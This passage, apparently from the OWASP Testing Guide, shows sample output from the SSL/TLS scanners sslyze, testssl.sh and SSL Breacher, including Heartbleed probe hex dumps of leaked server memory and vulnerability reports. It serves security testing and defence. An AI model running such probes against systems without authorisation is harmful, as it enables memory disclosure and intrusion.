Supported cipher suites (ORDER IS NOT SIGNIFICANT):<br />
SSLv3<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
(TLSv1.0: idem)<br />
(TLSv1.1: idem)<br />
TLSv1.2<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA256<br />
RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA256<br />
DHE_RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
----------------------<br />
Server certificate(s):<br />
******<br />
----------------------<br />
Minimal encryption strength: strong encryption (96-bit or more)<br />
Achievable encryption strength: strong encryption (96-bit or more)<br />
BEAST status: vulnerable<br />
CRIME status: protected<br />
<br />
</pre><br />
<br />
<br />
====Example 6. Testing SSL/TLS vulnerabilities with sslyze====<br />
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.<br />
<br />
<pre><br />
./sslyze.py --regular example.com:443<br />
<br />
REGISTERING AVAILABLE PLUGINS<br />
-----------------------------<br />
<br />
PluginHSTS<br />
PluginSessionRenegotiation<br />
PluginCertInfo<br />
PluginSessionResumption<br />
PluginOpenSSLCipherSuites<br />
PluginCompression<br />
<br />
<br />
<br />
CHECKING HOST(S) AVAILABILITY<br />
-----------------------------<br />
<br />
example.com:443 => 127.0.0.1:443<br />
<br />
<br />
<br />
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443<br />
---------------------------------------------------<br />
<br />
* Compression :<br />
Compression Support: Disabled<br />
<br />
* Session Renegotiation :<br />
Client-initiated Renegotiations: Rejected<br />
Secure Renegotiation: Supported<br />
<br />
* Certificate :<br />
Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate<br />
Hostname Validation: MISMATCH <br />
SHA1 Fingerprint: ******<br />
<br />
Common Name: www.example.com <br />
Issuer: ******<br />
Serial Number: **** <br />
Not Before: Sep 26 00:00:00 2010 GMT <br />
Not After: Sep 26 23:59:59 2020 GMT <br />
<br />
Signature Algorithm: sha1WithRSAEncryption <br />
Key Size: 1024 bit <br />
X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}<br />
<br />
* OCSP Stapling :<br />
Server did not send back an OCSP response. <br />
<br />
* Session Resumption :<br />
With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).<br />
With TLS Session Tickets: Supported<br />
<br />
* SSLV2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* SSLV3 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits HTTP 200 OK <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* TLSV1_1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-SHA socket.timeout - timed out <br />
ECDH-ECDSA-AES256-SHA socket.timeout - timed out <br />
<br />
* TLSV1_2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
<br />
* TLSV1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits Timeout on HTTP GET <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: <br />
ADH-CAMELLIA256-SHA socket.timeout - timed out <br />
<br />
<br />
<br />
SCAN COMPLETED IN 9.68 S<br />
------------------------<br />
</pre><br />
<br />
<br />
====Example 7. Testing SSL/TLS with testssl.sh====<br />
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well. <br />
<br />
<br />
It's a very easy to use tool. Here's some sample output (without colors):<br />
<pre><br />
user@myhost: % testssl.sh owasp.org <br />
<br />
########################################################<br />
testssl.sh v2.0rc3 (https://testssl.sh)<br />
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)<br />
<br />
This program is free software. Redistribution + <br />
modification under GPLv2 is permitted. <br />
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!<br />
<br />
Note you can only check the server against what is<br />
available (ciphers/protocols) locally on your machine<br />
########################################################<br />
<br />
Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on<br />
"myhost:/<mypath>/bin/openssl64"<br />
<br />
<br />
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---<br />
("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e") <br />
<br />
<br />
--> Testing Protocols<br />
<br />
SSLv2 NOT offered (ok) <br />
SSLv3 offered <br />
TLSv1 offered (ok) <br />
TLSv1.1 offered (ok) <br />
TLSv1.2 offered (ok) <br />
<br />
SPDY/NPN not offered<br />
<br />
--> Testing standard cipher lists<br />
<br />
Null Cipher NOT offered (ok) <br />
Anonymous NULL Cipher NOT offered (ok) <br />
Anonymous DH Cipher NOT offered (ok) <br />
40 Bit encryption NOT offered (ok) <br />
56 Bit encryption NOT offered (ok) <br />
Export Cipher (general) NOT offered (ok) <br />
Low (<=64 Bit) NOT offered (ok) <br />
DES Cipher NOT offered (ok) <br />
Triple DES Cipher offered<br />
Medium grade encryption offered<br />
High grade encryption offered (ok) <br />
<br />
--> Testing server defaults (Server Hello)<br />
<br />
Negotiated protocol TLSv1.2 <br />
Negotiated cipher AES128-GCM-SHA256 <br />
<br />
Server key size 2048 bit<br />
TLS server extensions: server name, renegotiation info, session ticket, heartbeat<br />
Session Tickets RFC 5077 300 seconds<br />
<br />
--> Testing specific vulnerabilities<br />
<br />
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) <br />
Renegotiation (CVE 2009-3555) NOT vulnerable (ok) <br />
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) <br />
<br />
--> Checking RC4 Ciphers <br />
<br />
RC4 seems generally available. Now testing specific ciphers...<br />
<br />
Hexcode Cipher Name KeyExch. Encryption Bits<br />
--------------------------------------------------------------------<br />
[0x05] RC4-SHA RSA RC4 128<br />
<br />
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a<br />
<br />
--> Testing HTTP Header response <br />
<br />
HSTS no <br />
Server Apache<br />
Application (None)<br />
<br />
--> Testing (Perfect) Forward Secrecy (P)FS) <br />
<br />
no PFS available <br />
<br />
Done now (2014-04-17 15:07) ---> owasp.org:443 <---<br />
<br />
user@myhost: % <br />
<br />
<br />
</pre><br />
<br />
<br />
STARTTLS would be tested via <code>testssl.sh -t smtp.gmail.com:587 smtp</code>, each ciphers with <code>testssl -e <target></code>, each ciphers per protocol with <code>testssl -E <target></code>. To just display what local ciphers that are installed for openssl see <code>testssl -V</code>. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.<br />
<br />
<br />
The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it. <br />
<br />
<br />
Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.<br />
<br />
<br />
====Example 8. Testing SSL/TLS with SSL Breacher ====<br />
This tool [99] is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests.<br />
It supports the following checks:<br />
#HeartBleed<br />
#ChangeCipherSpec Injection<br />
#BREACH <br />
#BEAST <br />
#Forward Secrecy support<br />
#RC4 support<br />
#CRIME & TIME (If CRIME is detected, TIME will also be reported)<br />
#Lucky13<br />
#HSTS: Check for implementation of HSTS header<br />
# HSTS: Reasonable duration of MAX-AGE <br />
# HSTS: Check for SubDomains support<br />
#Certificate expiration<br />
#Insufficient public key-length<br />
#Host-name mismatch<br />
#Weak Insecure Hashing Algorithm (MD2, MD4, MD5)<br />
#SSLv2 support<br />
#Weak ciphers check<br />
#Null Prefix in certificate<br />
#HTTPS Stripping<br />
#Non-SSL elements/contents embedded in SSL page<br />
#Cache-Control<br />
<br />
<br />
<pre><br />
pentester@r00ting: % breacher.sh https://localhost/<br />
<br />
Host Info:<br />
==============<br />
Host : localhost<br />
Port : 443<br />
Certificate Validation : false<br />
<br />
<br />
<br />
Certificate Info:<br />
==================<br />
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)<br />
Expiration Date: Sat Nov 09 07:48:47 SGT 2019<br />
Signature Hash Algorithm: SHA1withRSA<br />
Public key: Sun RSA public key, 1024 bits<br />
modulus: 135632964843555009910164098161004086259135236815846778903941582882908611097021488277565732851712895057227849656364886898196239901879569635659861770850920241178222686670162318147175328086853962427921575656093414000691131757099663322369656756090030190369923050306668778534926124693591013220754558036175189121517<br />
public exponent: 65537<br />
Signed for: CN=localhost<br />
Signed by: CN=localhost<br />
Total certificate chain: 1<br />
<br />
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)<br />
<br />
=====================================<br />
<br />
Certificate Validation:<br />
===============================<br />
[!] Signed using Insufficient public key length 1024 bits<br />
(Refer to http://www.keylength.com/ for details)<br />
[!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.<br />
<br />
=====================================<br />
<br />
Loading module: Hut3 Cardiac Arrest ...<br />
<br />
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...<br />
<br />
[-] Connecting to 127.0.0.1:443 using SSLv3<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.0<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.1<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.2<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
<br />
<br />
[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in http://heartbleed.com/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Loading module: CCS Injection script by TripWire VERT ...<br />
<br />
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...<br />
<br />
[!] The target may allow early CCS on TLSv1.2<br />
[!] The target may allow early CCS on TLSv1.1<br />
[!] The target may allow early CCS on TLSv1<br />
[!] The target may allow early CCS on SSLv3<br />
<br />
<br />
[-] This is an experimental detection script and does not definitively determine vulnerable server status.<br />
<br />
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/<br />
[!] Vulnerability Status: Possible<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...<br />
<br />
[*] HTTP Compression: DISABLED<br />
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 302 Found<br />
Date: Sat, 19 Jul 2014 17:54:32 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Location: https://localhost/xampp/<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...<br />
<br />
[!] STS response header: NOT PRESENT<br />
[!] Vulnerable to MITM threats mentioned in https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 302 Found<br />
Date: Sat, 19 Jul 2014 17:54:32 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Location: https://localhost/xampp/<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost for HTTP support against HTTPS Stripping attack ...<br />
<br />
[!] HTTP Support on port [80] : SUPPORTED<br />
[!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP elements embedded in SSL page ...<br />
<br />
[*] HTTP elements embedded in SSL page: NOT PRESENT<br />
[*] Immune from MITM malicious content injection attack<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ROBUST use of anti-caching mechanism ...<br />
<br />
[!] Cache Control Directives: NOT PRESENT<br />
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
-------------------------------------------------<br />
<br />
<br />
Robust Solution (Is it Troublesome for you to add more things for your site security?):<br />
<br />
- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0<br />
- Ref: https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OWASP-AT-007)<br />
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...<br />
<br />
[*] Forward Secrecy: SUPPORTED<br />
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1<br />
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.<br />
[*] Vulnerability Status: No<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for RC4 support (CVE-2013-2566) ...<br />
<br />
[!] RC4: SUPPORTED<br />
